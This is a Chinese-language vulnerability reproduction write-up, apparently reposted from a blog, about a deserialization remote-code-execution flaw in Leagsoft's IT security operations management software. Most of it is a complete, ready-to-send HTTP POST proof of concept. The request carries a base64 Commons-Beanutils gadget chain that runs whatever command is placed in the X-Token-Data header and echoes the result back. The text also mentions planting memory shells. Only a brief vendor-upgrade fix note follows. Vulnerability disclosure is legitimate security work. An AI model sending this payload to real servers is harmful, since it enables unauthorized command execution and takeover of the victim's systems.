本文介绍: 联软IT安全运维管理软件，在 PolicySetDetailController 中 的queryPolicyUseConditionDetail 方法在对输入参数进行处理的过程中进行了反序列化操作，可使用 Commons-Beanutils 反序列化链进行RCE。攻击者可利用该漏洞执行任意代码，在服务器上执行命令、打入内存马等操作，获取服务器权限。
0x01 产品简介
联软科技持续十多年研发的联软IT安全运维管理软件，集网络准入控制、终端安全管理、BYOD设备管理、杀毒管理、服务器安全管理、数据防泄密、反APT攻击等系统于一体，通过一个平台，统一框架，数据集中，实现更强更智能的安全保护，减轻安全管理负担，降低采购和维护成本。
0x02 漏洞概述
联软IT安全运维管理软件，在 PolicySetDetailController 中 的queryPolicyUseConditionDetail 方法在对输入参数进行处理的过程中进行了反序列化操作，可使用 Commons-Beanutils 反序列化链进行RCE。攻击者可利用该漏洞执行任意代码，在服务器上执行命令、打入内存马等操作，获取服务器权限。
0x03 复现环境
0x04 漏洞复现
PoC
POST /DBAService/PolicySetDetailController/queryPolicyUseConditionDetail HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 7257
Content-Type: application/x-www-form-urlencoded
X-Token-Data: whoami
Accept-Encoding: gzip
Connection: close
base64Serializable=rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LPjgGC/k7xfgIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgAqamF2YS5sYW5nLlN0cmluZyRDYXNlSW5zZW5zaXRpdmVDb21wYXJhdG9ydwNcfVxQ5c4CAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB%2bAARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAAAAAAAdXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX%2bAYIVOACAAB4cAAAEb/K/rq%2bAAAAMQD1AQA8b3JnL2FwYWNoZS90b21jYXQvY2F0YWxpbmEvd2VicmVzb3VyY2VzL1RvbWNhdEphcklucHV0U3RyZWFtBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQA%2bTG9yZy9hcGFjaGUvdG9tY2F0L2NhdGFsaW5hL3dlYnJlc291cmNlcy9Ub21jYXRKYXJJbnB1dFN0cmVhbTsMAAUABgoABAAMAQABcQEAMyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtOwEAB2V4ZWNDbWQMABAADwoAAgARAQAIPGNsaW5pdD4BAB5qYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb24HABQBAB9qYXZhL2xhbmcvTm9TdWNoTWV0aG9kRXhjZXB0aW9uBwAWAQATamF2YS9sYW5nL0V4Y2VwdGlvbgcAGAEAAWUBACBMamF2YS9sYW5nL05vU3VjaEZpZWxkRXhjZXB0aW9uOwEAA2NscwEAEUxqYXZhL2xhbmcvQ2xhc3M7AQAEdmFyNQEAIUxqYXZhL2xhbmcvTm9TdWNoTWV0aG9kRXhjZXB0aW9uOwEABGJhb3MBAB9MamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW07AQAJcHJvY2Vzc29yAQASTGphdmEvbGFuZy9PYmplY3Q7AQADcmVxAQAEcmVzcAEAAWoBAAFJAQABdAEAEkxqYXZhL2xhbmcvVGhyZWFkOwEAA3N0cgEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAA29iagEACnByb2Nlc3NvcnMBABBMamF2YS91dGlsL0xpc3Q7AQABaQEABGZsYWcBAAFaAQAFZ3JvdXABABdMamF2YS9sYW5nL1RocmVhZEdyb3VwOwEAAWYBABlMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7AQAHdGhyZWFkcwEAE1tMamF2YS9sYW5nL1RocmVhZDsBABVqYXZhL2xhbmcvVGhyZWFkR3JvdXAHADgBABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAcAOgcANwEAEGphdmEvbGFuZy9UaHJlYWQHAD0BABBqYXZhL2xhbmcvU3RyaW5nBwA/AQAOamF2YS91dGlsL0xpc3QHAEEBAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQcAQwEADVN0YWNrTWFwVGFibGUBAA1jdXJyZW50VGhyZWFkAQAUKClMamF2YS9sYW5nL1RocmVhZDsMAEYARwoAPgBIAQAOZ2V0VGhyZWFkR3JvdXABABkoKUxqYXZhL2xhbmcvVGhyZWFkR3JvdXA7DABKAEsKAD4ATAEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwwATgBPCgAEAFAIADYBAA9qYXZhL2xhbmcvQ2xhc3MHAFMBABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7DABVAFYKAFQAVwEADXNldEFjY2Vzc2libGUBAAQoWilWDABZAFoKADsAWwEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7DABdAF4KADsAXwEAB2dldE5hbWUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwwAYQBiCgA%2bAGMBAARleGVjCABlAQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoMAGcAaAoAQABpAQAEaHR0cAgAawEABnRhcmdldAgAbQEAEmphdmEvbGFuZy9SdW5uYWJsZQcAbwEABnRoaXMkMAgAcQEAB2hhbmRsZXIIAHMBAA1nZXRTdXBlcmNsYXNzDAB1AE8KAFQAdgEABmdsb2JhbAgAeAgALQEABHNpemUBAAMoKUkMAHsAfAsAQgB9AQAVKEkpTGphdmEvbGFuZy9PYmplY3Q7DABdAH8LAEIAgAgAJAEAC2dldFJlc3BvbnNlCACDAQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwwAhQCGCgBUAIcBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QHAIkBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsMAIsAjAoAigCNAQAJZ2V0SGVhZGVyCACPAQAMWC1Ub2tlbi1EYXRhCACRAQAHaXNFbXB0eQEAAygpWgwAkwCUCgBAAJUBAAlzZXRTdGF0dXMIAJcBABFqYXZhL2xhbmcvSW50ZWdlcgcAmQEABFRZUEUMAJsAHQkAmgCcAQAEKEkpVgwABQCeCgCaAJ8MAA4ADwoAAgChAQAkb3JnLmFwYWNoZS50b21jYXQudXRpbC5idWYuQnl0ZUNodW5rCACjAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsMAKUApgoAVACnAQALbmV3SW5zdGFuY2UBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwwAqQCqCgBUAKsBAAhzZXRCeXRlcwgArQEAAltCBwCvAQARZ2V0RGVjbGFyZWRNZXRob2QMALEAhgoAVACyAQALdG9CeXRlQXJyYXkBAAQoKVtCDAC0ALUKAEQAtgEAB3ZhbHVlT2YBABYoSSlMamF2YS9sYW5nL0ludGVnZXI7DAC4ALkKAJoAugEAB2RvV3JpdGUIALwBABNqYXZhLm5pby5CeXRlQnVmZmVyCAC%2bAQAEd3JhcAgAwAEAE1tMamF2YS9sYW5nL1N0cmluZzsHAMIBABNqYXZhL2lvL0lucHV0U3RyZWFtBwDEAQAHb3MubmFtZQgAxgEAEGphdmEvbGFuZy9TeXN0ZW0HAMgBAAtnZXRQcm9wZXJ0eQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7DADKAMsKAMkAzAEAC3RvTG93ZXJDYXNlDADOAGIKAEAAzwEAA3dpbggA0QEAA2NtZAgA0wEAAi9jCADVAQAJL2Jpbi9iYXNoCADXAQACLWMIANkBABFqYXZhL2xhbmcvUnVudGltZQcA2wEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMAN0A3goA3ADfAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAZQDhCgDcAOIBABFqYXZhL2xhbmcvUHJvY2VzcwcA5AEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsMAOYA5woA5QDoCgBEAAwBAAV3cml0ZQEAByhbQklJKVYMAOsA7AoARADtAQAEcmVhZAEABShbQilJDADvAPAKAMUA8QEAClNvdXJjZUZpbGUBAA9Ub21jYXRFY2hvLmphdmEAIQACAAQAAAAAAAQAAQAFAAYAAQAHAAAALwABAAEAAAAFKrcADbEAAAACAAgAAAAGAAEAAAAGAAkAAAAMAAEAAAAFAAoACwAAAAkADgAPAAEABwAAABEAAQABAAAABSq4ABKwAAAAAAAIABMABgABAAcAAAVRAAgAEAAAAqgDO7gASbYATUwrtgBRElK2AFhNLAS2AFwsK7YAYMAAPMAAPE4DNgQVBC2%2bogJ4LRUEMjoFGQXHAAanAmQZBbYAZDoGGQYSZrYAapoADRkGEmy2AGqaAAanAkYZBbYAURJutgBYTSwEtgBcLBkFtgBgOgcZB8EAcJoABqcCIxkHtgBREnK2AFhNLAS2AFwsGQe2AGA6BxkHtgBREnS2AFhNpwAWOggZB7YAUbYAd7YAdxJ0tgBYTSwEtgBcLBkHtgBgOgcZB7YAUbYAdxJ5tgBYTacAEDoIGQe2AFESebYAWE0sBLYAXCwZB7YAYDoHGQe2AFESerYAWE0sBLYAXCwZB7YAYMAAQsAAQjoIAzYJFQkZCLkAfgEAogF5GQgVCbkAgQIAOgoZCrYAURKCtgBYTSwEtgBcLBkKtgBgOgsZC7YAURKEA70AVLYAiBkLA70ABLYAjjoMGQu2AFESkAS9AFRZAxJAU7YAiBkLBL0ABFkDEpJTtgCOwABAOgYZBsYBBRkGtgCWmgD9GQy2AFESmAS9AFRZA7IAnVO2AIgZDAS9AARZA7sAmlkRAMi3AKBTtgCOVxkGuACiOg0SpLgAqDoOGQ62AKw6BxkOEq4GvQBUWQMSsFNZBLIAnVNZBbIAnVO2ALMZBwa9AARZAxkNtgC3U1kEuwCaWQO3AKBTWQUZDbYAt764ALtTtgCOVxkMtgBREr0EvQBUWQMZDlO2AIgZDAS9AARZAxkHU7YAjlenAFE6DhK/uACoOg8ZDxLBBL0AVFkDErBTtgCzGQ8EvQAEWQMZDbYAt1O2AI46BxkMtgBREr0EvQBUWQMZD1O2AIgZDAS9AARZAxkHU7YAjlcEOxqZAAanAAmECQGn/oEamQAGpwAOpwAFOgWEBAGn/YenAARLsQAIAJUAoACjABUAwwDRANQAFQG8AjECNAAXAC4AOQKbABkAPABXApsAGQBaAHoCmwAZAH0ClQKbABkAAAKjAqYAGQADAAgAAAD2AD0AAAAKAAIACwAJAAwAEwANABgADgAkAA8ALgARADQAEgA8ABMAQwAUAFoAFQBlABYAagAXAHIAGAB9ABkAiAAaAI0AGwCVAB0AoAAgAKMAHgClAB8AtgAhALsAIgDDACQA0QAnANQAJQDWACYA4QAoAOYAKQDuACoA%2bQArAP4ALAEMAC0BGwAuASYALwExADABNgAxAT4AMgFXADMBfQA0AYoANQG1ADYBvAA4AcMAOQHKADoCDwA7AjEAQAI0ADwCNgA9Aj0APgJgAD8CggBBAoQAQwKLAC0CkQBFApgARwKbAEYCnQAPAqMASwKmAEoCpwBMAAkAAADAABMApQARABoAGwAIANYACwAaABsACAHDAG4AHAAdAA4CPQBFABwAHQAPAjYATAAeAB8ADgG8AMgAIAAhAA0BJgFlACIAIwAKAT4BTQAkACMACwFXATQAJQAjAAwBDwGCACYAJwAJADQCZAAoACkABQBDAlUAKgArAAYAcgImACwAIwAHAQwBjAAtAC4ACAAnAnwALwAnAAQAAgKhADAAMQAAAAkCmgAyADMAAQATApAANAA1AAIAJAJ/ADYANwADAEUAAACVABX/ACcABQEHADkHADsHADwBAAD8ABQHAD78ABoHAEAC/AAiBwAEZQcAFRJdBwAVDP0ALQcAQgH/ASQADgEHADkHADsHADwBBwA%2bBwBABwAEBwBCAQcABAcABAcABAcARAABBwAX%2bwBN%2bgAB%2bAAG%2bgAF/wAGAAUBBwA5BwA7BwA8AQAAQgcAGQH/AAUAAAAAQgcAGQAACQAQAA8AAQAHAAAA4gAEAAcAAACMKgGlAAoqtgCWmQAGpwB2AUwSx7gAzbYA0BLStgBqmQAZBr0AQFkDEtRTWQQS1lNZBSpTTKcAFga9AEBZAxLYU1kEEtpTWQUqU0y4AOArtgDjtgDpTbsARFm3AOpOAzYEEQQAvAg6BacADC0ZBQMVBLYA7iwZBbYA8lk2BAKg/%2b0tsKcACDoGpwADAbAAAQAAAIIAhQAZAAEARQAAADwACQwC/AAnBf8AEgACBwBABwDDAAD/AB8ABgcAQAcAwwcAxQcARAEHALAAAAj/AA4AAQcAQAAAQgcAGQQAAQDzAAAAAgD0dXEAfgAQAAABEMr%2bur4AAAAzABEBADJvcmcvYXBhY2hlL3dpY2tldC9mYWNlbGV0cy9jb21waWxlci9UcmltbWVkVGFnVW5pdAcAAQEAEGphdmEvbGFuZy9PYmplY3QHAAMBAApTb3VyY2VGaWxlAQATVHJpbW1lZFRhZ1VuaXQuamF2YQEAEHNlcmlhbFZlcnNpb25VSUQBAAFKBXHmae48bUcYAQANQ29uc3RhbnRWYWx1ZQEABjxpbml0PgEAAygpVgwADAANCgAEAA4BAARDb2RlACEAAgAEAAAAAQAaAAcACAABAAsAAAACAAkAAQABAAwADQABABAAAAARAAEAAQAAAAUqtwAPsQAAAAAAAQAFAAAAAgAGcHQACEFVRE9XSVFLcHcBAHhxAH4ADXg=
0x05 修复建议
官方已修复该漏洞，请联系厂商升级版本：http://www.leagsoft.com
原文地址:https://blog.csdn.net/qq_41904294/article/details/134719129
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